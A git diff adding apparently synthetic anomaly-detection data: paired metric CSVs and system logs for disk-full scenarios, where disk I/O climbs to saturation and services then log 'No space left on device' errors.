on device +Jul 03 11:05:50 app-server[2174]: CRITICAL: Failed to write to temp file /tmp/app-data.tmp: [Errno 28] No space left on device +Jul 03 11:05:55 postgres[10207]: ERROR: could not extend file "base/16384/16391": No space left on device +Jul 03 11:06:10 CRON[16985]: (root) CMD ( /usr/local/bin/health_check.sh ) +Jul 03 11:06:15 journald[21835]: Failed to write entry, ignoring: No space left on device +Jul 03 11:06:35 postgres[8930]: ERROR: could not extend file "base/16384/16391": No space left on device +Jul 03 11:06:40 app-server[16049]: CRITICAL: Failed to write to temp file /tmp/app-data.tmp: [Errno 28] No space left on device +Jul 03 11:06:55 rsyslogd[10204]: action 'action-9-omfile' failed: fatal error on disk write [v8.2001.0 try https://www.rsyslog.com/e/2027 ] +Jul 03 11:07:00 journald[4622]: Failed to write entry, ignoring: No space left on device +Jul 03 11:07:05 kubelet[4501]: ERROR failed to write pod logs: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_24.csv b/anom_dataset/scenario_3/anom_3_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..fedb528a1e4d5805f1cbf53296436e7e7169b16c --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,21.05,38.78,28.92,0.92,1.89 +2025-08-15T10:00:05Z,22.74,38.44,24.86,1.33,1.16 +2025-08-15T10:00:10Z,21.2,43.74,19.69,1.17,1.17 +2025-08-15T10:00:15Z,20.56,41.99,24.51,0.81,1.81 +2025-08-15T10:00:20Z,20.0,39.39,30.22,1.02,1.84 +2025-08-15T10:00:25Z,25.57,41.75,19.76,1.41,1.09 +2025-08-15T10:00:30Z,20.74,35.17,27.87,1.42,1.71 +2025-08-15T10:00:35Z,18.76,38.34,27.51,0.61,1.69 +2025-08-15T10:00:40Z,15.93,39.78,23.78,0.85,1.52 +2025-08-15T10:00:45Z,18.28,35.27,28.93,0.9,1.89 +2025-08-15T10:00:50Z,21.96,37.93,27.97,0.66,1.64 +2025-08-15T10:00:55Z,19.86,33.29,24.91,0.87,1.39 +2025-08-15T10:01:00Z,17.32,42.49,26.7,1.49,1.28 +2025-08-15T10:01:05Z,19.68,39.19,25.01,1.26,1.13 +2025-08-15T10:01:10Z,19.33,36.57,24.82,0.66,0.81 +2025-08-15T10:01:15Z,23.74,36.33,26.43,0.75,1.54 +2025-08-15T10:01:20Z,19.42,42.26,23.59,1.2,1.85 +2025-08-15T10:01:25Z,22.68,42.55,26.12,1.27,1.91 +2025-08-15T10:01:30Z,21.53,36.74,23.75,1.27,1.92 +2025-08-15T10:01:35Z,21.53,40.22,26.38,0.64,1.93 +2025-08-15T10:01:40Z,19.29,37.24,22.84,0.55,1.37 +2025-08-15T10:01:45Z,18.8,37.61,26.6,1.3,1.69 +2025-08-15T10:01:50Z,18.84,38.04,23.75,0.78,0.96 +2025-08-15T10:01:55Z,22.72,35.3,24.14,1.11,1.97 +2025-08-15T10:02:00Z,20.0,40.34,29.02,0.89,0.96 +2025-08-15T10:02:05Z,21.41,36.86,22.32,0.54,1.4 +2025-08-15T10:02:10Z,19.78,42.76,24.89,0.62,1.53 +2025-08-15T10:02:15Z,19.84,37.9,23.7,0.92,1.0 +2025-08-15T10:02:20Z,17.9,37.14,24.77,0.98,0.87 +2025-08-15T10:02:25Z,22.1,36.47,24.9,1.29,1.06 +2025-08-15T10:02:30Z,22.49,38.68,25.78,1.47,1.71 +2025-08-15T10:02:35Z,18.65,41.39,29.21,0.57,1.66 +2025-08-15T10:02:40Z,21.06,38.96,27.28,0.98,1.63 +2025-08-15T10:02:45Z,20.24,38.4,31.52,1.0,0.9 +2025-08-15T10:02:50Z,18.08,35.92,33.07,1.14,1.27 +2025-08-15T10:02:55Z,16.76,41.08,34.14,0.71,0.95 +2025-08-15T10:03:00Z,21.59,34.01,36.8,1.0,1.4 +2025-08-15T10:03:05Z,16.69,43.86,36.82,0.72,1.1 +2025-08-15T10:03:10Z,18.45,37.51,37.35,1.47,1.68 +2025-08-15T10:03:15Z,19.22,37.1,40.1,1.38,1.95 +2025-08-15T10:03:20Z,16.63,39.28,43.74,0.7,0.87 +2025-08-15T10:03:25Z,18.61,39.04,43.54,1.4,0.84 +2025-08-15T10:03:30Z,22.04,44.27,43.39,0.94,1.47 +2025-08-15T10:03:35Z,20.42,46.24,46.84,0.71,1.25 +2025-08-15T10:03:40Z,21.99,37.65,49.36,1.14,1.95 +2025-08-15T10:03:45Z,21.37,41.86,46.75,1.11,1.58 +2025-08-15T10:03:50Z,20.65,38.14,50.33,0.54,1.77 +2025-08-15T10:03:55Z,19.04,39.72,55.87,0.51,1.49 +2025-08-15T10:04:00Z,19.94,41.92,55.81,1.25,1.14 +2025-08-15T10:04:05Z,18.68,39.43,55.99,0.59,1.39 +2025-08-15T10:04:10Z,26.77,41.7,56.7,0.76,1.06 +2025-08-15T10:04:15Z,20.32,36.71,60.49,1.03,1.97 +2025-08-15T10:04:20Z,23.94,43.42,61.65,1.2,1.2 +2025-08-15T10:04:25Z,22.2,40.63,63.58,0.75,1.33 +2025-08-15T10:04:30Z,17.8,36.55,63.3,0.73,0.85 +2025-08-15T10:04:35Z,18.8,41.59,66.68,1.41,0.89 +2025-08-15T10:04:40Z,19.21,35.95,65.14,1.37,1.72 +2025-08-15T10:04:45Z,21.46,37.49,70.03,0.66,1.42 +2025-08-15T10:04:50Z,20.92,38.35,72.08,0.77,1.81 +2025-08-15T10:04:55Z,24.4,45.0,75.53,0.59,1.01 +2025-08-15T10:05:00Z,20.64,37.87,74.83,1.4,1.8 +2025-08-15T10:05:05Z,21.16,42.52,75.71,0.78,1.13 +2025-08-15T10:05:10Z,18.19,39.61,79.43,1.48,1.28 +2025-08-15T10:05:15Z,17.85,39.49,81.72,0.75,1.02 +2025-08-15T10:05:20Z,20.38,46.76,84.13,0.72,1.16 +2025-08-15T10:05:25Z,21.29,42.58,82.92,0.71,1.04 +2025-08-15T10:05:30Z,19.56,36.1,82.87,0.92,1.67 +2025-08-15T10:05:35Z,26.37,46.97,84.13,1.02,1.68 +2025-08-15T10:05:40Z,21.04,42.73,87.32,1.26,1.19 +2025-08-15T10:05:45Z,18.47,40.81,88.27,0.87,1.82 +2025-08-15T10:05:50Z,21.35,39.28,92.25,1.12,1.56 +2025-08-15T10:05:55Z,20.18,42.76,95.41,0.51,1.62 +2025-08-15T10:06:00Z,17.91,44.37,90.78,0.83,1.03 +2025-08-15T10:06:05Z,19.22,36.56,94.23,0.6,1.16 +2025-08-15T10:06:10Z,20.47,44.5,97.33,0.56,1.13 +2025-08-15T10:06:15Z,21.69,37.63,95.23,0.72,1.94 +2025-08-15T10:06:20Z,20.88,36.05,93.3,0.69,1.43 +2025-08-15T10:06:25Z,20.5,44.33,92.15,1.08,1.54 +2025-08-15T10:06:30Z,22.23,43.73,92.07,0.53,1.91 +2025-08-15T10:06:35Z,21.39,41.78,92.15,0.62,1.5 +2025-08-15T10:06:40Z,20.28,42.91,98.9,1.01,1.55 +2025-08-15T10:06:45Z,17.04,42.55,99.69,0.57,1.67 +2025-08-15T10:06:50Z,22.44,33.1,99.6,0.81,1.46 +2025-08-15T10:06:55Z,19.2,40.4,99.05,1.42,1.71 +2025-08-15T10:07:00Z,17.14,41.47,98.82,1.12,1.68 +2025-08-15T10:07:05Z,19.7,40.11,99.58,0.98,0.94 +2025-08-15T10:07:10Z,24.23,34.83,98.8,1.17,1.91 +2025-08-15T10:07:15Z,18.73,44.76,99.49,1.02,1.68 +2025-08-15T10:07:20Z,19.66,40.65,98.87,0.92,1.95 +2025-08-15T10:07:25Z,18.66,42.17,98.5,0.66,1.78 diff --git a/anom_dataset/scenario_3/anom_3_24.log b/anom_dataset/scenario_3/anom_3_24.log new file mode 100644 index 0000000000000000000000000000000000000000..78d190c9bbe94504b8e94f9efd2e3056f5f4e417 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_24.log @@ -0,0 +1,132 @@ +Aug 15 10:00:01 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:00:01 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:00:05 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:10 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151000.log +Aug 15 10:00:16 sshd[12908]: Accepted publickey for ubuntu from 192.168.1.105 port 31727 ssh2 +Aug 15 10:00:17 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:00:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:23 sshd[9586]: Accepted publickey for ubuntu from 192.168.1.105 port 49613 ssh2 +Aug 15 10:00:27 systemd[1]: Started Session 11959 of user ubuntu. +Aug 15 10:00:30 systemd[1]: Started Session 1478 of user ubuntu. +Aug 15 10:00:31 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:38 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:41 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:45 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:00:46 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:00:51 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:00:58 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:01:00 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:01:07 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:12 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151001.log +Aug 15 10:01:17 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:01:18 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:20 sshd[15900]: Accepted publickey for ubuntu from 192.168.1.105 port 26346 ssh2 +Aug 15 10:01:21 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151001.log +Aug 15 10:01:27 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:01:33 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:36 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:37 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:01:40 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:01:43 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:01:46 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151001.log +Aug 15 10:01:47 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:01:51 sshd[11601]: Accepted publickey for ubuntu from 192.168.1.105 port 42534 ssh2 +Aug 15 10:01:56 sshd[4376]: Accepted publickey for ubuntu from 192.168.1.105 port 19744 ssh2 +Aug 15 10:01:57 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:02:00 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151002.log +Aug 15 10:02:08 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:02:08 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:02:11 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:02:12 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:02:15 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151002.log +Aug 15 10:02:16 sshd[14357]: Accepted publickey for ubuntu from 192.168.1.105 port 59987 ssh2 +Aug 15 10:02:21 sshd[7035]: Accepted publickey for ubuntu from 192.168.1.105 port 15987 ssh2 +Aug 15 10:02:23 sshd[19552]: Accepted publickey for ubuntu from 192.168.1.105 port 19365 ssh2 +Aug 15 10:02:27 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:02:28 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:02:31 sshd[9739]: Accepted publickey for ubuntu from 192.168.1.105 port 44799 ssh2 +Aug 15 10:02:38 systemd[1]: Started Session 10884 of user ubuntu. +Aug 15 10:02:43 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:02:43 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151002.log +Aug 15 10:02:45 sshd[4180]: Accepted publickey for ubuntu from 192.168.1.105 port 56756 ssh2 +Aug 15 10:02:47 sshd[5659]: Accepted publickey for ubuntu from 192.168.1.105 port 10877 ssh2 +Aug 15 10:02:53 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151002.log +Aug 15 10:02:56 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151002.log +Aug 15 10:03:01 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:03:06 systemd[1]: Started Session 8683 of user ubuntu. +Aug 15 10:03:07 systemd[1]: Started Session 12635 of user ubuntu. +Aug 15 10:03:13 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:03:17 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:03:22 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151003.log +Aug 15 10:03:25 systemd[1]: Started Session 17312 of user ubuntu. +Aug 15 10:03:33 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:03:35 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:03:40 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151003.log +Aug 15 10:03:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:03:46 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:03:46 systemd[1]: Started Session 5553 of user ubuntu. +Aug 15 10:03:51 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:03:55 sshd[9951]: Accepted publickey for ubuntu from 192.168.1.105 port 58067 ssh2 +Aug 15 10:04:03 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:07 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:04:07 systemd[1]: Started Session 12482 of user ubuntu. +Aug 15 10:04:10 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:13 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:04:18 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:21 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151004.log +Aug 15 10:04:22 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:25 systemd[1]: Started Session 5082 of user ubuntu. +Aug 15 10:04:26 systemd[1]: Started Session 15238 of user ubuntu. +Aug 15 10:04:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:04:38 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:38 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:04:42 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:04:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:04:48 sshd[6471]: Accepted publickey for ubuntu from 192.168.1.105 port 21671 ssh2 +Aug 15 10:04:51 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:55 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:00 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:05:02 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:05:07 sshd[8757]: Accepted publickey for ubuntu from 192.168.1.105 port 30494 ssh2 +Aug 15 10:05:08 sshd[12940]: Accepted publickey for ubuntu from 192.168.1.105 port 58814 ssh2 +Aug 15 10:05:13 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:05:15 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:21 sshd[6100]: Accepted publickey for ubuntu from 192.168.1.105 port 47452 ssh2 +Aug 15 10:05:25 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:05:31 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:05:32 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:05:36 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:05:41 sshd[11261]: Accepted publickey for ubuntu from 192.168.1.105 port 37149 ssh2 +Aug 15 10:05:42 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:05:45 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:05:46 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:05:51 cron[21352]: (root) CMD ( /usr/local/bin/run-backup.sh) +Aug 15 10:05:51 postgres[3301]: ERROR could not write to file "pg_wal/xlogtemp.3301": No space left on device +Aug 15 10:05:58 log-aggregator[4512]: ERROR Failed to write to log archive /data/logs/production.log. Retrying... +Aug 15 10:06:02 systemd[1]: Failed to start User Data Backup Service. +Aug 15 10:06:03 postgres[3301]: ERROR could not write to file "pg_wal/xlogtemp.3301": No space left on device +Aug 15 10:06:07 nginx[1123]: [crit] 1123#0: *937 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Aug 15 10:06:08 log-aggregator[4512]: CRITICAL Fatal error writing to disk: No space left on device. Service halting. +Aug 15 10:06:10 kernel: [18345.67] print_req_error: I/O error, dev sda, sector 18461306 +Aug 15 10:06:12 log-aggregator[4512]: ERROR Failed to write to log archive /data/logs/production.log. Retrying... +Aug 15 10:06:18 log-aggregator[4512]: ERROR Failed to write to log archive /data/logs/production.log. Retrying... +Aug 15 10:06:20 kernel: [18345.67] print_req_error: I/O error, dev sda, sector 12589972 +Aug 15 10:06:22 log-aggregator[4512]: CRITICAL Fatal error writing to disk: No space left on device. Service halting. +Aug 15 10:06:27 kernel: [18345.67] print_req_error: I/O error, dev sda, sector 15114425 +Aug 15 10:06:31 systemd[1]: Failed to start User Data Backup Service. +Aug 15 10:06:35 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:06:41 log-aggregator[4512]: CRITICAL Fatal error writing to disk: No space left on device. Service halting. +Aug 15 10:06:48 log-aggregator[4512]: INFO Starting new log file rotation: /var/log/app/archive-202508151006.log +Aug 15 10:06:48 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:06:53 log-aggregator[4512]: INFO Batch of 2500 log lines successfully forwarded. +Aug 15 10:06:55 log-aggregator[4512]: ERROR Failed to write to log archive /data/logs/production.log. Retrying... +Aug 15 10:06:56 postgres[3301]: ERROR could not write to file "pg_wal/xlogtemp.3301": No space left on device +Aug 15 10:07:01 systemd[1]: Failed to start User Data Backup Service. +Aug 15 10:07:02 kernel: [18345.67] print_req_error: I/O error, dev sda, sector 11138896 +Aug 15 10:07:05 postgres[3301]: ERROR could not write to file "pg_wal/xlogtemp.3301": No space left on device +Aug 15 10:07:06 kernel: [18345.67] print_req_error: I/O error, dev sda, sector 17784030 +Aug 15 10:07:13 log-aggregator[4512]: CRITICAL Fatal error writing to disk: No space left on device. Service halting. +Aug 15 10:07:15 systemd[1]: Failed to start User Data Backup Service. +Aug 15 10:07:18 systemd[1]: Failed to start User Data Backup Service. +Aug 15 10:07:23 sshd[15225]: Accepted publickey for ubuntu from 192.168.1.105 port 43111 ssh2 +Aug 15 10:07:27 nginx[1123]: [crit] 1123#0: *331 open() "/var/log/nginx/access.log" failed (28: No space left on device) diff --git a/anom_dataset/scenario_3/anom_3_25.csv b/anom_dataset/scenario_3/anom_3_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..7efd8a3f529fed0514ddb2fde73bbf7e53200423 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,20.99,45.29,31.05,0.93,1.63 +2025-07-02T11:00:05Z,19.72,47.91,33.31,0.63,0.77 +2025-07-02T11:00:10Z,21.3,42.89,30.51,0.59,1.55 +2025-07-02T11:00:15Z,23.05,44.02,31.28,0.9,1.2 +2025-07-02T11:00:20Z,19.53,43.82,32.46,0.76,0.91 +2025-07-02T11:00:25Z,19.53,40.61,28.81,0.94,1.34 +2025-07-02T11:00:30Z,23.16,45.89,30.88,0.89,1.26 +2025-07-02T11:00:35Z,21.53,45.78,30.12,0.79,1.02 +2025-07-02T11:00:40Z,19.06,45.02,31.29,0.63,1.22 +2025-07-02T11:00:45Z,21.09,44.3,28.05,0.5,1.08 +2025-07-02T11:00:50Z,19.07,40.75,31.58,0.71,1.23 +2025-07-02T11:00:55Z,19.07,43.74,32.68,0.97,1.4 +2025-07-02T11:01:00Z,20.48,43.97,32.9,0.84,1.68 +2025-07-02T11:01:05Z,16.17,42.59,34.68,0.55,0.83 +2025-07-02T11:01:10Z,16.55,44.52,35.55,0.83,1.84 +2025-07-02T11:01:15Z,18.88,46.21,36.98,0.88,0.61 +2025-07-02T11:01:20Z,17.97,50.66,38.06,0.62,1.15 +2025-07-02T11:01:25Z,20.63,45.52,39.81,0.83,1.38 +2025-07-02T11:01:30Z,18.18,45.77,40.33,0.81,1.28 +2025-07-02T11:01:35Z,17.18,44.78,40.54,0.57,1.01 +2025-07-02T11:01:40Z,22.93,39.24,41.37,0.87,1.14 +2025-07-02T11:01:45Z,19.55,44.92,43.04,0.91,1.05 +2025-07-02T11:01:50Z,20.14,45.18,43.12,1.02,1.02 +2025-07-02T11:01:55Z,17.15,52.39,45.67,1.01,1.45 +2025-07-02T11:02:00Z,18.91,44.42,46.33,0.52,1.31 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+2025-07-02T11:03:45Z,18.56,49.65,65.98,1.02,1.21 +2025-07-02T11:03:50Z,19.08,42.65,68.11,0.81,1.4 +2025-07-02T11:03:55Z,22.11,44.03,68.37,0.58,1.11 +2025-07-02T11:04:00Z,20.69,47.44,69.89,0.66,1.3 +2025-07-02T11:04:05Z,16.47,41.31,70.31,0.94,1.16 +2025-07-02T11:04:10Z,20.65,45.68,72.29,0.65,1.23 +2025-07-02T11:04:15Z,19.23,48.92,73.12,0.84,1.38 +2025-07-02T11:04:20Z,18.65,40.18,73.1,0.81,0.95 +2025-07-02T11:04:25Z,21.22,45.55,74.69,0.67,1.83 +2025-07-02T11:04:30Z,22.06,45.78,75.51,1.23,0.9 +2025-07-02T11:04:35Z,21.86,47.35,76.85,0.93,0.84 +2025-07-02T11:04:40Z,18.32,41.29,76.67,0.39,1.55 +2025-07-02T11:04:45Z,19.38,41.04,78.47,0.84,1.44 +2025-07-02T11:04:50Z,20.66,46.57,79.64,0.67,1.39 +2025-07-02T11:04:55Z,21.95,45.89,79.21,0.97,1.39 +2025-07-02T11:05:00Z,19.04,45.75,80.48,0.64,1.2 +2025-07-02T11:05:05Z,19.63,46.04,81.04,0.78,0.93 +2025-07-02T11:05:10Z,17.79,42.96,82.9,0.9,1.22 +2025-07-02T11:05:15Z,17.61,45.7,84.38,0.97,1.0 +2025-07-02T11:05:20Z,21.63,45.88,85.75,0.56,1.49 +2025-07-02T11:05:25Z,22.71,42.86,86.04,0.73,1.16 +2025-07-02T11:05:30Z,19.86,50.6,89.81,0.71,0.95 +2025-07-02T11:05:35Z,22.01,46.42,92.31,0.67,1.1 +2025-07-02T11:05:40Z,20.72,41.43,97.15,1.15,1.32 +2025-07-02T11:05:45Z,18.71,46.97,94.97,0.88,1.03 +2025-07-02T11:05:50Z,20.72,42.08,99.19,0.55,0.95 +2025-07-02T11:05:55Z,23.08,47.36,99.48,0.98,1.27 +2025-07-02T11:06:00Z,19.93,48.48,98.77,1.22,1.27 +2025-07-02T11:06:05Z,23.13,42.54,99.86,1.01,1.05 +2025-07-02T11:06:10Z,14.76,47.89,99.35,0.5,1.06 +2025-07-02T11:06:15Z,21.64,46.24,100.0,0.7,1.27 +2025-07-02T11:06:20Z,20.17,47.47,100.0,1.05,0.77 +2025-07-02T11:06:25Z,19.4,50.69,100.0,0.66,0.78 +2025-07-02T11:06:30Z,20.18,44.26,100.0,0.89,0.98 +2025-07-02T11:06:35Z,16.02,42.74,100.0,0.95,1.14 +2025-07-02T11:06:40Z,19.56,42.33,100.0,0.61,1.29 +2025-07-02T11:06:45Z,20.71,42.55,100.0,0.79,1.64 +2025-07-02T11:06:50Z,22.96,44.77,100.0,0.2,1.46 +2025-07-02T11:06:55Z,18.96,46.02,100.0,0.6,1.15 +2025-07-02T11:07:00Z,18.38,45.83,100.0,0.75,1.19 +2025-07-02T11:07:05Z,19.0,47.48,100.0,0.55,0.9 +2025-07-02T11:07:10Z,21.83,45.04,100.0,1.13,1.19 +2025-07-02T11:07:15Z,20.66,49.36,100.0,0.51,1.11 +2025-07-02T11:07:20Z,18.94,44.21,100.0,0.71,1.3 +2025-07-02T11:07:25Z,21.03,53.16,100.0,0.83,0.95 diff --git a/anom_dataset/scenario_3/anom_3_25.log b/anom_dataset/scenario_3/anom_3_25.log new file mode 100644 index 0000000000000000000000000000000000000000..38a622f93c8e3dfb0f1754f3a78c89771ecbac4c --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_25.log @@ -0,0 +1,27 @@ +Jul 02 11:00:10 systemd[1]: Started Session 5 of user db_admin. +Jul 02 11:00:25 CRON[18231]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:01:15 postgres[1987]: [2-1] LOG: checkpoint starting: time +Jul 02 11:02:05 systemd[1]: Starting Clean php session files... +Jul 02 11:02:55 app-worker[4501]: INFO: Starting data export job ID: exp-88a1c... writing to /var/data/export_large.csv +Jul 02 11:04:10 postgres[2011]: [3-1] LOG: checkpoint complete: wrote 800 buffers (0.5%); 0 WAL file(s) added +Jul 02 11:05:00 kernel: [11234.567890] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 11:05:50 postgres[1987]: [4-1] ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Jul 02 11:05:55 rsyslogd[1122]: action 'action-2-omfile' suspended (module 'builtin:omfile'), retry 1. HINT: disk full? [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 02 11:06:00 app-worker[4501]: ERROR: Failed to write to export file: [Errno 28] No space left on device: '/var/data/export_large.csv' +Jul 02 11:06:05 journald[839]: /dev/sda1: Journal file /var/log/journal/....journal is invalid, ignoring: No space left on device +Jul 02 11:06:10 CRON[19999]: (root) CMD (echo 'log rotation failed' >> /var/log/cron.log): write error: No space left on device +Jul 02 11:06:15 postgres[1987]: [4-1] ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Jul 02 11:06:20 rsyslogd[1122]: action 'action-2-omfile' suspended (module 'builtin:omfile'), retry 1. HINT: disk full? [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 02 11:06:25 app-worker[4501]: ERROR: Failed to write to export file: [Errno 28] No space left on device: '/var/data/export_large.csv' +Jul 02 11:06:30 journald[839]: /dev/sda1: Journal file /var/log/journal/....journal is invalid, ignoring: No space left on device +Jul 02 11:06:35 CRON[19999]: (root) CMD (echo 'log rotation failed' >> /var/log/cron.log): write error: No space left on device +Jul 02 11:06:40 postgres[1987]: [4-1] ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Jul 02 11:06:45 rsyslogd[1122]: action 'action-2-omfile' suspended (module 'builtin:omfile'), retry 1. HINT: disk full? [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 02 11:06:50 app-worker[4501]: ERROR: Failed to write to export file: [Errno 28] No space left on device: '/var/data/export_large.csv' +Jul 02 11:06:55 journald[839]: /dev/sda1: Journal file /var/log/journal/....journal is invalid, ignoring: No space left on device +Jul 02 11:07:00 CRON[19999]: (root) CMD (echo 'log rotation failed' >> /var/log/cron.log): write error: No space left on device +Jul 02 11:07:05 postgres[1987]: [4-1] ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Jul 02 11:07:10 rsyslogd[1122]: action 'action-2-omfile' suspended (module 'builtin:omfile'), retry 1. HINT: disk full? [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 02 11:07:15 app-worker[4501]: ERROR: Failed to write to export file: [Errno 28] No space left on device: '/var/data/export_large.csv' +Jul 02 11:07:20 journald[839]: /dev/sda1: Journal file /var/log/journal/....journal is invalid, ignoring: No space left on device +Jul 02 11:07:25 CRON[19999]: (root) CMD (echo 'log rotation failed' >> /var/log/cron.log): write error: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_26.csv b/anom_dataset/scenario_3/anom_3_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..9d5ecc3bc49b6f4461237aeda1bbbdd799337307 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,15.99,40.29,29.4,0.93,1.63 +2025-07-02T10:00:05Z,14.72,42.91,30.95,0.63,0.77 +2025-07-02T10:00:10Z,16.3,37.89,31.25,0.59,1.55 +2025-07-02T10:00:15Z,18.05,39.02,32.0,0.9,1.2 +2025-07-02T10:00:20Z,14.53,38.82,31.31,0.76,0.91 +2025-07-02T10:00:25Z,14.53,35.61,33.13,0.94,1.34 +2025-07-02T10:00:30Z,18.16,40.89,34.45,0.89,1.26 